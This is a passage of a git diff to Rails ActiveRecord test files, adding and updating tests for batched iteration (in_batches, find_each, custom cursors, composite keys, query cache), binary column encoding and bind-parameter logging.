+    finish_id = expected_orders.last.id
+    orders = []
+
+    assert_no_queries do
+      incorrectly_sorted_orders.find_each(batch_size: 1, start: start_id, finish: finish_id, order: [:desc, :asc]) do |order|
+        orders << order
+      end
+    end
+
+    assert_equal expected_orders, orders
+  end
+
+  def test_in_batches_when_loaded_iterates_using_custom_column
+    c = Post.lease_connection
+    c.add_index(:posts, :title, unique: true)
+    ActiveRecord::Base.schema_cache.clear!
+
+    ordered_posts = Post.order(id: :desc)
+    ordered_posts.load
+
+    posts = []
+
+    assert_no_queries do
+      ordered_posts.in_batches(of: 1, cursor: :id, order: :desc).each_record do |post|
+        posts << post
+      end
+    end
+
+    assert_equal ordered_posts.to_a, posts
+  ensure
+    c.remove_index(:posts, :title)
+  end
+
   def test_in_batches_should_return_relations
-    assert_queries(@total + 1) do
+    assert_queries_count(@total + 2) do
       Post.in_batches(of: 1) do |relation|
         assert_kind_of ActiveRecord::Relation, relation
       end
@@ -384,7 +596,7 @@ def test_in_batches_should_return_relations
 
   def test_in_batches_should_start_from_the_start_option
     post = Post.order("id ASC").where("id >= ?", 2).first
-    assert_queries(2) do
+    assert_queries_count(2) do
       relation = Post.in_batches(of: 1, start: 2).first
       assert_equal post, relation.first
     end
@@ -392,25 +604,105 @@ def test_in_batches_should_start_from_the_start_option
 
   def test_in_batches_should_end_at_the_finish_option
     post = Post.order("id DESC").where("id <= ?", 5).first
-    assert_queries(7) do
+    assert_queries_count(8) do
       relation = Post.in_batches(of: 1, finish: 5, load: true).reverse_each.first
       assert_equal post, relation.last
     end
   end
 
+  def test_in_batches_executes_range_queries_when_unconstrained
+    quoted_posts_id = Regexp.escape(quote_table_name("posts.id"))
+
+    relations = assert_queries_match(/ORDER BY #{quoted_posts_id} ASC LIMIT \S+ OFFSET \S+\z/i, count: 6) do
+      assert_queries_match(/ORDER BY #{quoted_posts_id} ASC LIMIT \S+\z/i, count: 1) do
+        Post.in_batches(of: 2).to_a
+      end
+    end
+
+    assert_queries_match(/WHERE #{quoted_posts_id} > .+ AND #{quoted_posts_id} <= .+/i) do
+      relations.each { |relation| assert_kind_of Post, relation.first }
+    end
+  end
+
+  def test_in_batches_executes_in_queries_when_unconstrained_and_opted_out_of_ranges
+    quoted_posts_id = Regexp.escape(quote_table_name("posts.id"))
+
+    relations = assert_queries_match(/ORDER BY #{quoted_posts_id} ASC LIMIT \S+\z/i, count: 6) do
+      Post.in_batches(of: 2, use_ranges: false).to_a
+    end
+
+    assert_queries_match(/#{quoted_posts_id} IN \(.+\)/i) do
+      relations.each { |relation| assert_kind_of Post, relation.first }
+    end
+  end
+
+  def test_in_batches_executes_in_queries_when_constrained
+    quoted_posts_id = Regexp.escape(quote_table_name("posts.id"))
+
+    relations = assert_queries_match(/ORDER BY #{quoted_posts_id} ASC LIMIT \S+\z/i, count: 3) do
+      Post.where("id < ?", 5).in_batches(of: 2).to_a
+    end
+
+    assert_queries_match(/#{quoted_posts_id} IN \(.+\)/i) do
+      relations.each { |relation| assert_kind_of Post, relation.first }
+    end
+  end
+
+  def test_in_batches_executes_range_queries_when_constrained_and_opted_in_into_ranges
+    quoted_posts_id = Regexp.escape(quote_table_name("posts.id"))
+
+    relations = assert_queries_match(/ORDER BY #{quoted_posts_id} ASC LIMIT \S+ OFFSET \S+\z/i, count: 3) do
+      assert_queries_match(/ORDER BY #{quoted_posts_id} ASC LIMIT \S+\z/i, count: 1) do
+        Post.where("id < ?", 5).in_batches(of: 2, use_ranges: true).to_a
+      end
+    end
+
+    assert_queries_match(/#{quoted_posts_id} > .+ AND #{quoted_posts_id} <= .+/i) do
+      relations.each { |relation| assert_kind_of Post, relation.first }
+    end
+  end
+
+  def test_in_batches_no_subqueries_for_whole_tables_batching
+    quoted_posts_id = Regexp.escape(quote_table_name("posts.id"))
+    assert_queries_match(/DELETE FROM #{Regexp.escape(quote_table_name("posts"))} WHERE #{quoted_posts_id} > .+ AND #{quoted_posts_id} <=/i) do
+      Post.in_batches(of: 2).delete_all
+    end
+  end
+
   def test_in_batches_shouldnt_execute_query_unless_needed
-    assert_queries(2) do
+    assert_queries_count(3) do
       Post.in_batches(of: @total) { |relation| assert_kind_of ActiveRecord::Relation, relation }
     end
 
-    assert_queries(1) do
+    assert_queries_count(2) do
       Post.in_batches(of: @total + 1) { |relation| assert_kind_of ActiveRecord::Relation, relation }
     end
   end
 
+  def test_in_batches_should_unscope_cursor_after_pluck
+    all_ids = Post.limit(2).pluck(:id)
+    found_ids = []
+    # only a single clause on id (i.e. not 'id IN (?,?) AND id = ?', but only 'id = ?')
+    assert_queries_match(/WHERE #{Regexp.escape(quote_table_name("posts.id"))} = \S+ LIMIT/) do
+      Post.where(id: all_ids).in_batches(of: 1) do |relation|
+        found_ids << relation.pick(:id)
+      end
+    end
+    assert_equal all_ids.sort, found_ids
+  end
+
+  def test_in_batches_loaded_should_unscope_cursor_after_pluck
+    all_ids = Post.limit(2).pluck(:id)
+    # only a single clause on id (i.e. not 'id IN (?,?) AND id = ?', but only 'id = ?')
+    assert_queries_match(/WHERE #{Regexp.escape(quote_table_name("posts.id"))} = \S+$/) do
+      Post.where(id: all_ids).in_batches(of: 1, load: true) do |relation|
+        relation.delete_all
+      end
+    end
+  end
+
   def test_in_batches_should_quote_batch_order
-    c = Post.connection
-    assert_sql(/ORDER BY #{c.quote_table_name('posts')}.#{c.quote_column_name('id')}/) do
+    assert_queries_match(/ORDER BY #{Regexp.escape(quote_table_name("posts.id"))}/) do
       Post.in_batches(of: 1) do |relation|
         assert_kind_of ActiveRecord::Relation, relation
         assert_kind_of Post, relation.first
@@ -418,8 +710,33 @@ def test_in_batches_should_quote_batch_order
     end
   end
 
+  def test_in_batches_should_quote_batch_order_with_desc_order
+    assert_queries_match(/ORDER BY #{Regexp.escape(quote_table_name("posts.id"))} DESC/) do
+      Post.in_batches(of: 1, order: :desc) do |relation|
+        assert_kind_of ActiveRecord::Relation, relation
+        assert_kind_of Post, relation.first
+      end
+    end
+  end
+
+  def test_in_batches_enumerator_should_quote_batch_order_with_desc_order
+    assert_queries_match(/ORDER BY #{Regexp.escape(quote_table_name("posts.id"))} DESC/) do
+      relation = Post.in_batches(of: 1, order: :desc).first
+      assert_kind_of ActiveRecord::Relation, relation
+      assert_kind_of Post, relation.first
+    end
+  end
+
+  def test_in_batches_enumerator_each_record_should_quote_batch_order_with_desc_order
+    assert_queries_match(/ORDER BY #{Regexp.escape(quote_table_name("posts.id"))} DESC/) do
+      Post.in_batches(of: 1, order: :desc).each_record do |record|
+        assert_kind_of Post, record
+      end
+    end
+  end
+
   def test_in_batches_should_not_use_records_after_yielding_them_in_case_original_array_is_modified
-    not_a_post = "not a post"
+    not_a_post = +"not a post"
     def not_a_post.id
       raise StandardError.new("not_a_post had #id called on it")
     end
@@ -429,24 +746,18 @@ def not_a_post.id
         assert_kind_of ActiveRecord::Relation, relation
         assert_kind_of Post, relation.first
 
-        relation = [not_a_post] * relation.count
+        [not_a_post] * relation.count
       end
     end
   end
 
   def test_in_batches_should_not_ignore_default_scope_without_order_statements
-    special_posts_ids = SpecialPostWithDefaultScope.all.map(&:id).sort
+    default_scope = SpecialPostWithDefaultScope.all
     posts = []
     SpecialPostWithDefaultScope.in_batches do |relation|
       posts.concat(relation)
     end
-    assert_equal special_posts_ids, posts.map(&:id)
-  end
-
-  def test_in_batches_should_not_modify_passed_options
-    assert_nothing_raised do
-      Post.in_batches({ of: 42, start: 1 }.freeze) {}
-    end
+    assert_equal default_scope.pluck(:id).sort, posts.map(&:id).sort
   end
 
   def test_in_batches_should_use_any_column_as_primary_key
@@ -462,7 +773,7 @@ def test_in_batches_should_use_any_column_as_primary_key
   end
 
   def test_in_batches_should_use_any_column_as_primary_key_when_start_is_not_specified
-    assert_queries(Subscriber.count + 1) do
+    assert_queries_count(Subscriber.count + 1) do
       Subscriber.in_batches(of: 1, load: true) do |relation|
         assert_kind_of ActiveRecord::Relation, relation
         assert_kind_of Subscriber, relation.first
@@ -475,7 +786,7 @@ def test_in_batches_should_return_an_enumerator
     assert_no_queries do
       enum = Post.in_batches(of: 1)
     end
-    assert_queries(4) do
+    assert_queries_count(4) do
       enum.first(4) do |relation|
         assert_kind_of ActiveRecord::Relation, relation
         assert_kind_of Post, relation.first
@@ -507,7 +818,7 @@ def test_in_batches_relations_with_condition_should_not_overlap_with_each_other
   def test_in_batches_relations_update_all_should_not_affect_matching_records_in_other_batches
     Post.update_all(author_id: 0)
     person = Post.last
-    person.update_attributes(author_id: 1)
+    person.update(author_id: 1)
 
     Post.in_batches(of: 2) do |batch|
       batch.where("author_id >= 1").update_all("author_id = author_id + 1")
@@ -515,16 +826,87 @@ def test_in_batches_relations_update_all_should_not_affect_matching_records_in_o
     assert_equal 2, person.reload.author_id # incremented only once
   end
 
-  if Enumerator.method_defined? :size
-    def test_find_in_batches_should_return_a_sized_enumerator
-      assert_equal 11, Post.find_in_batches(batch_size: 1).size
-      assert_equal 6, Post.find_in_batches(batch_size: 2).size
-      assert_equal 4, Post.find_in_batches(batch_size: 2, start: 4).size
-      assert_equal 4, Post.find_in_batches(batch_size: 3).size
-      assert_equal 1, Post.find_in_batches(batch_size: 10_000).size
+  def test_in_batches_with_custom_columns_raises_when_start_missing_items
+    assert_raises(ArgumentError, match: ":start must contain one value per cursor column") do
+      Post.in_batches(start: 1, cursor: [:author_id, :id]) { }
     end
   end
 
+  def test_in_batches_with_custom_columns_raises_when_finish_missing_items
+    assert_raises(ArgumentError, match: ":finish must contain one value per cursor column") do
+      Post.in_batches(finish: 10, cursor: [:author_id, :id]) { }
+    end
+  end
+
+  def test_in_batches_with_custom_columns_raises_when_non_unique_columns
+    ActiveRecord::Base.schema_cache.clear!
+
+    # Non unique column.
+    assert_raises(ArgumentError, match: /must include a primary key/) do
+      Post.in_batches(cursor: :title) { }
+    end
+
+    # Primary key column.
+    assert_nothing_raised do
+      Post.in_batches(cursor: :id) { }
+    end
+
+    c = Post.lease_connection
+    c.add_index(:posts, :title)
+    ActiveRecord::Base.schema_cache.clear!
+
+    # Non unique indexed column.
+    assert_raises(ArgumentError, match: /must include a primary key/) do
+      Post.in_batches(cursor: :title) { }
+    end
+
+    c.remove_index(:posts, :title)
+
+    if current_adapter?(:PostgreSQLAdapter)
+      c.add_index(:posts, :title, unique: true, where: "id > 5")
+      ActiveRecord::Base.schema_cache.clear!
+
+      # Column having a unique, but partial, index.
+      assert_raises(ArgumentError, match: /must include a primary key/) do
+        Post.in_batches(cursor: :title) { }
+      end
+
+      c.remove_index(:posts, :title)
+    end
+
+    c.add_index(:posts, :title, unique: true)
+    ActiveRecord::Base.schema_cache.clear!
+    assert_nothing_raised do
+      Post.in_batches(cursor: :title) { }
+    end
+  ensure
+    c.remove_index(:posts, :title)
+  end
+
+  def test_in_batches_iterating_using_custom_columns
+    c = Post.lease_connection
+    c.add_index(:posts, :title, unique: true)
+    ActiveRecord::Base.schema_cache.clear!
+
+    expected_posts = Post.order(id: :desc).to_a
+    posts = []
+    Post.in_batches(of: 1, cursor: :id, order: :desc).each_record do |post|
+      posts << post
+    end
+
+    assert_equal expected_posts, posts
+  ensure
+    c.remove_index(:posts, :title)
+  end
+
+  def test_find_in_batches_should_return_a_sized_enumerator
+    assert_equal 11, Post.find_in_batches(batch_size: 1).size
+    assert_equal 6, Post.find_in_batches(batch_size: 2).size
+    assert_equal 4, Post.find_in_batches(batch_size: 2, start: 4).size
+    assert_equal 4, Post.find_in_batches(batch_size: 3).size
+    assert_equal 1, Post.find_in_batches(batch_size: 10_000).size
+  end
+
   [true, false].each do |load|
     test "in_batches should return limit records when limit is less than batch size and load is #{load}" do
       limit      = 3
@@ -587,31 +969,152 @@ def test_find_in_batches_should_return_a_sized_enumerator
     end
   end
 
-  test ".error_on_ignored_order_or_limit= is deprecated" do
-    begin
-      prev = ActiveRecord::Base.error_on_ignored_order
-      assert_deprecated "Please use error_on_ignored_order= instead." do
-        ActiveRecord::Base.error_on_ignored_order_or_limit = true
+  test ".find_each respects table alias" do
+    assert_queries_count(1) do
+      table_alias = Post.arel_table.alias("omg_posts")
+
+      posts = ActiveRecord::Relation.create(Post, table: table_alias)
+      posts.find_each { }
+    end
+  end
+
+  test ".find_each bypasses the query cache for its own queries" do
+    Post.cache do
+      assert_queries_count(2) do
+        Post.find_each { }
+        Post.find_each { }
+      end
+    end
+  end
+
+  test ".find_each does not disable the query cache inside the given block" do
+    Post.cache do
+      Post.find_each(start: 1, finish: 1) do |post|
+        assert_queries_count(1) do
+          post.comments.count
+          post.comments.count
+        end
+      end
+    end
+  end
+
+  test ".find_in_batches bypasses the query cache for its own queries" do
+    Post.cache do
+      assert_queries_count(2) do
+        Post.find_in_batches { }
+        Post.find_in_batches { }
       end
-      assert ActiveRecord::Base.error_on_ignored_order
-    ensure
-      ActiveRecord::Base.error_on_ignored_order = prev
     end
   end
 
-  test ".error_on_ignored_order_or_limit is deprecated" do
-    expected = ActiveRecord::Base.error_on_ignored_order
-    actual = assert_deprecated "Please use error_on_ignored_order instead." do
-      ActiveRecord::Base.error_on_ignored_order_or_limit
+  test ".find_in_batches does not disable the query cache inside the given block" do
+    Post.cache do
+      Post.find_in_batches(start: 1, finish: 1) do |batch|
+        assert_queries_count(1) do
+          batch.first.comments.count
+          batch.first.comments.count
+        end
+      end
     end
-    assert_equal expected, actual
   end
 
-  test "#error_on_ignored_order_or_limit is deprecated" do
-    expected = ActiveRecord::Base.error_on_ignored_order
-    actual = assert_deprecated "Please use error_on_ignored_order instead." do
-      Post.new.error_on_ignored_order_or_limit
+  test ".in_batches bypasses the query cache for its own queries" do
+    Post.cache do
+      assert_queries_count(4) do
+        Post.in_batches { }
+        Post.in_batches { }
+      end
     end
-    assert_equal expected, actual
+  end
+
+  test ".in_batches does not disable the query cache inside the given block" do
+    Post.cache do
+      Post.in_batches(start: 1, finish: 1) do |relation|
+        assert_queries_count(1) do
+          relation.count
+          relation.count
+        end
+      end
+    end
+  end
+
+  test ".find_each iterates over composite primary key" do
+    orders = Cpk::Order.order(*Cpk::Order.primary_key).to_a
+
+    index = 0
+    Cpk::Order.find_each(batch_size: 1) do |order|
+      assert_equal orders[index], order
+      index += 1
+    end
+    assert_equal orders.size, index
+  end
+
+  test ".in_batches should start from the start option when using composite primary key" do
+    order = Cpk::Order.second
+    relation = Cpk::Order.in_batches(of: 1, start: order.id).first
+    assert_equal order, relation.first
+  end
+
+  test ".in_batches should end at the finish option when using composite primary key" do
+    order = Cpk::Order.second_to_last
+    relation = Cpk::Order.in_batches(of: 1, finish: order.id).reverse_each.first
+    assert_equal order, relation.last
+  end
+
+  test ".in_batches with scope and using composite primary key" do
+    order1, order2 = Cpk::Order.first(2)
+    shop_id, id = order1.id
+    relation = Cpk::Order.where("shop_id > ? OR shop_id = ? AND id > ?", shop_id, shop_id, id).in_batches(of: 1).first
+    assert_equal order2, relation.first
+  end
+
+  test ".find_each with multiple column ordering and using composite primary key" do
+    Cpk::Book.insert_all!([
+      { author_id: 1, id: 1 },
+      { author_id: 2, id: 1 },
+      { author_id: 2, id: 2 }
+    ])
+    books = Cpk::Book.order(author_id: :asc, id: :desc).to_a
+
+    index = 0
+    Cpk::Book.find_each(batch_size: 1, order: [:asc, :desc]) do |book|
+      assert_equal books[index], book
+      index += 1
+    end
+    assert_equal books.size, index
+  end
+
+  test ".in_batches should start from the start option when using composite primary key with multiple column ordering" do
+    Cpk::Book.insert_all!([
+      { author_id: 1, id: 1 },
+      { author_id: 1, id: 2 },
+      { author_id: 1, id: 3 }
+    ])
+    second_book = Cpk::Book.order(author_id: :asc, id: :desc).second
+    relation = Cpk::Book.in_batches(of: 1, start: second_book.id, order: [:asc, :desc]).first
+    assert_equal second_book, relation.first
+  end
+
+  test ".in_batches should end at the finish option when using composite primary key with multiple column ordering" do
+    Cpk::Book.insert_all!([
+      { author_id: 1, id: 1 },
+      { author_id: 1, id: 2 },
+      { author_id: 1, id: 3 }
+    ])
+    second_book = Cpk::Book.order(author_id: :asc, id: :desc).second
+    relation = Cpk::Book.in_batches(of: 1, finish: second_book.id, order: [:asc, :desc]).to_a.last
+    assert_equal second_book, relation.first
+  end
+
+  test ".in_batches with scope and multiple column ordering and using composite primary key" do
+    Cpk::Book.insert_all!([
+      { author_id: 1, id: 1 },
+      { author_id: 1, id: 2 },
+      { author_id: 1, id: 3 }
+    ])
+    book1, book2 = Cpk::Book.order(author_id: :asc, id: :desc).first(2)
+    author_id, id = book1.id
+    relation = Cpk::Book.where("author_id >= ? AND id < ?", author_id, id).in_batches(of: 1, order: [:asc, :desc]).first
+    assert_equal book2, relation.first
   end
 end
diff --git a/activerecord/test/cases/binary_test.rb b/activerecord/test/cases/binary_test.rb
index 1fc30e24d29e9..d9e14379ecc2c 100644
--- a/activerecord/test/cases/binary_test.rb
+++ b/activerecord/test/cases/binary_test.rb
@@ -1,44 +1,69 @@
+# frozen_string_literal: true
+
 require "cases/helper"
+require "models/binary"
+
+class BinaryTest < ActiveRecord::TestCase
+  FIXTURES = %w(flowers.jpg example.log test.txt)
+
+  def test_mixed_encoding
+    str = +"\x80"
+    str.force_encoding("ASCII-8BIT")
 
-# Without using prepared statements, it makes no sense to test
-# BLOB data with DB2, because the length of a statement
-# is limited to 32KB.
-unless current_adapter?(:DB2Adapter)
-  require "models/binary"
+    binary = Binary.new name: "�������", data: str
+    binary.save!
+    binary.reload
+    assert_equal str, binary.data
 
-  class BinaryTest < ActiveRecord::TestCase
-    FIXTURES = %w(flowers.jpg example.log test.txt)
+    name = binary.name
+
+    assert_equal "�������", name
+  end
 
-    def test_mixed_encoding
-      str = "\x80"
-      str.force_encoding("ASCII-8BIT")
+  def test_load_save
+    Binary.delete_all
 
-      binary = Binary.new name: "�������", data: str
-      binary.save!
-      binary.reload
-      assert_equal str, binary.data
+    FIXTURES.each do |filename|
+      data = File.read(ASSETS_ROOT + "/#{filename}")
+      data.force_encoding("ASCII-8BIT")
+      data.freeze
 
-      name = binary.name
+      bin = Binary.new(data: data)
+      assert_equal data, bin.data, "Newly assigned data differs from original"
 
-      assert_equal "�������", name
+      bin.save!
+      assert_equal data, bin.data, "Data differs from original after save"
+
+      assert_equal data, bin.reload.data, "Reloaded data differs from original"
     end
+  end
 
-    def test_load_save
-      Binary.delete_all
+  def test_unicode_input_casting
+    binary = Binary.new(name: 123, data: "text")
 
-      FIXTURES.each do |filename|
-        data = File.read(ASSETS_ROOT + "/#{filename}")
-        data.force_encoding("ASCII-8BIT")
-        data.freeze
+    # Before saving, attribute methods return casted values, but their
+    # _before_type_cast still returns the original value. (Integer-to-String
+    # conversion used for comparison.)
+    assert_equal "123", binary.name
+    assert_equal 123, binary.name_before_type_cast
+    assert_equal Encoding::BINARY, binary.data.encoding
+    assert_equal Encoding::UTF_8, binary.data_before_type_cast.to_s.encoding
 
-        bin = Binary.new(data: data)
-        assert_equal data, bin.data, "Newly assigned data differs from original"
+    binary.save!
 
-        bin.save!
-        assert_equal data, bin.data, "Data differs from original after save"
+    # After saving, casted values appear throughout.
+    assert_equal "123", binary.name
+    assert_equal "123", binary.name_before_type_cast
+    assert_equal Encoding::BINARY, binary.data.encoding
+    assert_equal Encoding::BINARY, binary.data_before_type_cast.to_s.encoding
 
-        assert_equal data, bin.reload.data, "Reloaded data differs from original"
-      end
-    end
+    binary.reload
+
+    assert_equal "123", binary.name
+    assert_equal "123", binary.name_before_type_cast
+    assert_equal Encoding::BINARY, binary.data.encoding
+    # After reloading, data_before_type_cast is adapter-dependent. For
+    # example, PostgreSQL returns the bytea_output encoded representation,
+    # which happens to be UTF-8.
   end
 end
diff --git a/activerecord/test/cases/bind_parameter_test.rb b/activerecord/test/cases/bind_parameter_test.rb
index 98d202dd7960a..d27b91312729b 100644
--- a/activerecord/test/cases/bind_parameter_test.rb
+++ b/activerecord/test/cases/bind_parameter_test.rb
@@ -1,38 +1,140 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "models/topic"
+require "models/reply"
 require "models/author"
 require "models/post"
+require "active_support/log_subscriber/test_helper"
+
+if ActiveRecord::Base.lease_connection.prepared_statements
+  module ActiveRecord
+    class BindParameterTest < ActiveRecord::TestCase
+      fixtures :topics, :authors, :author_addresses, :posts
 
-module ActiveRecord
-  class BindParameterTest < ActiveRecord::TestCase
-    fixtures :topics, :authors, :posts
+      class LogListener
+        attr_accessor :calls
 
-    class LogListener
-      attr_accessor :calls
+        def initialize
+          @calls = []
+        end
 
-      def initialize
-        @calls = []
+        def call(*args)
+          calls << args
+        end
       end
 
-      def call(*args)
-        calls << args
+      def run(*)
+        with_debug_event_reporting do
+          super
+        end
       end
-    end
 
-    def setup
-      super
-      @connection = ActiveRecord::Base.connection
-      @subscriber = LogListener.new
-      @pk = Topic.columns_hash[Topic.primary_key]
-      @subscription = ActiveSupport::Notifications.subscribe("sql.active_record", @subscriber)
-    end
+      def setup
+        super
+        @connection = ActiveRecord::Base.lease_connection
+        @subscriber = LogListener.new
+        @subscription = ActiveSupport::Notifications.subscribe("sql.active_record", @subscriber)
+      end
 
-    teardown do
-      ActiveSupport::Notifications.unsubscribe(@subscription)
-    end
+      def teardown
+        ActiveSupport::Notifications.unsubscribe(@subscription)
+      end
+
+      def test_statement_cache
+        @connection.clear_cache!
+
+        topics = Topic.where(id: 1)
+        assert_equal [1], topics.map(&:id)
+        assert_includes statement_cache, to_sql_key(topics.arel)
+
+        @connection.clear_cache!
+
+        assert_not_includes statement_cache, to_sql_key(topics.arel)
+      end
+
+      def test_statement_cache_with_query_cache
+        @connection.enable_query_cache!
+        @connection.clear_cache!
+
+        topics = Topic.where(id: 1)
+        assert_equal [1], topics.map(&:id)
+        assert_includes statement_cache, to_sql_key(topics.arel)
+      ensure
+        @connection.disable_query_cache!
+      end
+
+      def test_statement_cache_with_find
+        @connection.clear_cache!
+
+        assert_equal 1, Topic.find(1).id
+        assert_raises(RecordNotFound) { SillyReply.find(2) }
+
+        topic_sql = cached_statement(Topic, [Topic.primary_key])
+        assert_includes statement_cache, to_sql_key(topic_sql)
+
+        reply_sql = cached_statement(SillyReply, [SillyReply.primary_key])
+        assert_includes statement_cache, to_sql_key(reply_sql)
+
+        replies = SillyReply.where(id: 2).limit(1)
+        assert_includes statement_cache, to_sql_key(replies.arel)
+      end
+
+      def test_statement_cache_with_find_by
+        @connection.clear_cache!
+
+        assert_equal 1, Topic.find_by!(id: 1).id
+        assert_raises(RecordNotFound) { SillyReply.find_by!(id: 2) }
+
+        topic_sql = cached_statement(Topic, ["id"])
+        assert_includes statement_cache, to_sql_key(topic_sql)
+
+        reply_sql = cached_statement(SillyReply, ["id"])
+        assert_includes statement_cache, to_sql_key(reply_sql)
+
+        replies = SillyReply.where(id: 2).limit(1)
+        assert_includes statement_cache, to_sql_key(replies.arel)
+      end
+
+      def test_statement_cache_with_in_clause
+        @connection.clear_cache!
+
+        topics = Topic.where(id: [1, 3]).order(:id)
+        assert_equal [1, 3], topics.map(&:id)
+        assert_not_includes statement_cache, to_sql_key(topics.arel)
+      end
+
+      def test_statement_cache_with_sql_string_literal
+        @connection.clear_cache!
+
+        topics = Topic.where("topics.id = ?", 1)
+        assert_equal [1], topics.map(&:id)
+        assert_includes statement_cache, to_sql_key(topics.arel)
+      end
+
+      def test_too_many_binds
+        bind_params_length = @connection.send(:bind_params_length)
+
+        topics = Topic.where(id: (1 .. bind_params_length).to_a << 2**63)
+        assert_equal Topic.count, topics.count
+
+        topics = Topic.where.not(id: (1 .. bind_params_length).to_a << 2**63)
+        assert_equal 0, topics.count
+      end
+
+      def test_too_many_binds_with_query_cache
+        @connection.enable_query_cache!
+
+        bind_params_length = @connection.send(:bind_params_length)
+        topics = Topic.where(id: (1 .. bind_params_length + 1).to_a)
+        assert_equal Topic.count, topics.count
+
+        topics = Topic.where.not(id: (1 .. bind_params_length + 1).to_a)
+        assert_equal 0, topics.count
+      ensure
+        @connection.disable_query_cache!
+      end
 
-    if ActiveRecord::Base.connection.supports_statement_cache? &&
-       ActiveRecord::Base.connection.prepared_statements
       def test_bind_from_join_in_subquery
         subquery = Author.joins(:thinking_posts).where(name: "David")
         scope = Author.from(subquery, "authors").where(id: 1)
@@ -40,7 +142,7 @@ def test_bind_from_join_in_subquery
       end
 
       def test_binds_are_logged
-        sub   = Arel::Nodes::BindParam.new
+        sub   = Arel::Nodes::BindParam.new(1)
         binds = [Relation::QueryAttribute.new("id", 1, Type::Value.new)]
         sql   = "select * from topics where id = #{sub.to_sql}"
 
@@ -56,43 +158,197 @@ def test_find_one_uses_binds
         assert message, "expected a message with binds"
       end
 
-      def test_logs_bind_vars_after_type_cast
+      def test_logs_binds_after_type_cast
         binds = [Relation::QueryAttribute.new("id", "10", Type::Integer.new)]
-        type_casted_binds = binds.map { |attr| type_cast(attr.value_for_database) }
-        payload = {
-          name: "SQL",
-          sql: "select * from topics where id = ?",
-          binds: binds,
-          type_casted_binds: type_casted_binds
-        }
-        event  = ActiveSupport::Notifications::Event.new(
-          "foo",
-          Time.now,
-          Time.now,
-          123,
-          payload)
-
-        logger = Class.new(ActiveRecord::LogSubscriber) {
-          attr_reader :debugs
-          def initialize
-            super
-            @debugs = []
-          end
+        assert_logs_binds(binds)
+      end
+
+      def test_logs_unnamed_binds
+        binds = ["abcd"]
+        assert_logs_unnamed_binds(binds)
+      end
+
+      def test_bind_params_to_sql_with_prepared_statements
+        assert_bind_params_to_sql
+      end
+
+      def test_bind_params_to_sql_with_unprepared_statements
+        @connection.unprepared_statement do
+          assert_bind_params_to_sql
+        end
+      end
 
-          def debug(str)
-            @debugs << str
+      def test_nested_unprepared_statements
+        assert_predicate @connection, :prepared_statements?
+
+        @connection.unprepared_statement do
+          assert_not_predicate @connection, :prepared_statements?
+
+          @connection.unprepared_statement do
+            assert_not_predicate @connection, :prepared_statements?
           end
-        }.new
 
-        logger.sql event
-        assert_match([[@pk.name, 10]].inspect, logger.debugs.first)
+          assert_not_predicate @connection, :prepared_statements?
+        end
+
+        assert_predicate @connection, :prepared_statements?
       end
 
-      private
+      def test_binds_with_filtered_attributes
+        ActiveRecord::Base.filter_attributes = [:auth]
+
+        binds = [Relation::QueryAttribute.new("auth_token", "abcd", Type::String.new)]
 
-      def type_cast(value)
-        ActiveRecord::Base.connection.type_cast(value)
+        assert_filtered_log_binds(binds)
+
+        ActiveRecord::Base.filter_attributes = []
       end
+
+      private
+        def assert_bind_params_to_sql
+          table = Author.quoted_table_name
+          pk = "#{table}.#{Author.quoted_primary_key}"
+
+          # prepared_statements: true
+          #
+          #   SELECT `authors`.* FROM `authors` WHERE (`authors`.`id` IN (?, ?, ?) OR `authors`.`id` IS NULL)
+          #
+          # prepared_statements: false
+          #
+          #   SELECT `authors`.* FROM `authors` WHERE (`authors`.`id` IN (1, 2, 3) OR `authors`.`id` IS NULL)
+          #
+          sql = "SELECT #{table}.* FROM #{table} WHERE (#{pk} IN (#{bind_params(1..3)}) OR #{pk} IS NULL)"
+
+          authors = Author.where(id: [1, 2, 3, nil])
+          assert_equal sql, @connection.to_sql(authors.arel)
+          assert_queries_match(sql) { assert_equal 3, authors.length }
+
+          # prepared_statements: true
+          #
+          #   SELECT `authors`.* FROM `authors` WHERE `authors`.`id` IN (?, ?, ?)
+          #
+          # prepared_statements: false
+          #
+          #   SELECT `authors`.* FROM `authors` WHERE `authors`.`id` IN (1, 2, 3)
+          #
+          sql = "SELECT #{table}.* FROM #{table} WHERE #{pk} IN (#{bind_params(1..3)})"
+
+          authors = Author.where(id: [1, 2, 3, 9223372036854775808])
+          assert_equal sql, @connection.to_sql(authors.arel)
+          assert_queries_match(sql) { assert_equal 3, authors.length }
+
+          # prepared_statements: true
+          #
+          #   SELECT `authors`.* FROM `authors` WHERE `authors`.`id` IN (?, ?, ?)
+          #
+          # prepared_statements: false
+          #
+          #   SELECT `authors`.* FROM `authors` WHERE `authors`.`id` IN (1, 2, 3)
+          #
+          params = if current_adapter?(:Mysql2Adapter, :TrilogyAdapter)
+            # With MySQL integers are casted as string for security.
+            bind_params((1..3).map(&:to_s))
+          else
+            bind_params(1..3)
+          end
+
+          sql = "SELECT #{table}.* FROM #{table} WHERE #{pk} IN (#{params})"
+          arel_node = Arel.sql("SELECT #{table}.* FROM #{table} WHERE #{pk} IN (?)", [1, 2, 3])
+          assert_equal sql, @connection.to_sql(arel_node)
+          assert_queries_match(sql) { assert_equal 3, @connection.select_all(arel_node).length }
+        end
+
+        def bind_params(ids)
+          collector = @connection.send(:collector)
+          bind_params = ids.map { |i| Arel::Nodes::BindParam.new(i) }
+          sql, _ = @connection.visitor.compile(bind_params, collector)
+          sql
+        end
+
+        def to_sql_key(arel)
+          sql = @connection.to_sql(arel)
+          @connection.respond_to?(:sql_key, true) ? @connection.send(:sql_key, sql) : sql
+        end
+
+        def cached_statement(klass, key)
+          cache = klass.send(:cached_find_by_statement, @connection, key) do
+            raise "#{klass} has no cached statement by #{key.inspect}"
+          end
+          cache.instance_variable_get(:@query_builder).instance_variable_get(:@sql)
+        end
+
+        def statement_cache
+          @connection.instance_variable_get(:@statements).send(:cache)
+        end
+
+        def assert_logs_binds(binds)
+          payload = {
+            name: "SQL",
+            sql: "select * from topics where id = ?",
+            binds: binds,
+            type_casted_binds: @connection.send(:type_casted_binds, binds)
+          }
+
+          event = ActiveSupport::Notifications::Event.new(
+            "foo",
+            Time.now,
+            Time.now,
+            123,
+            payload)
+
+          old_logger = ActiveRecord::LogSubscriber.logger
+          ActiveRecord::LogSubscriber.logger = logger = ActiveSupport::LogSubscriber::TestHelper::MockLogger.new
+          StructuredEventSubscriber.new.sql(event)
+          assert_match %r(\[\["id", 10\]\]\z), logger.logged(:debug).last
+        ensure
+          ActiveRecord::LogSubscriber.logger = old_logger
+        end
+
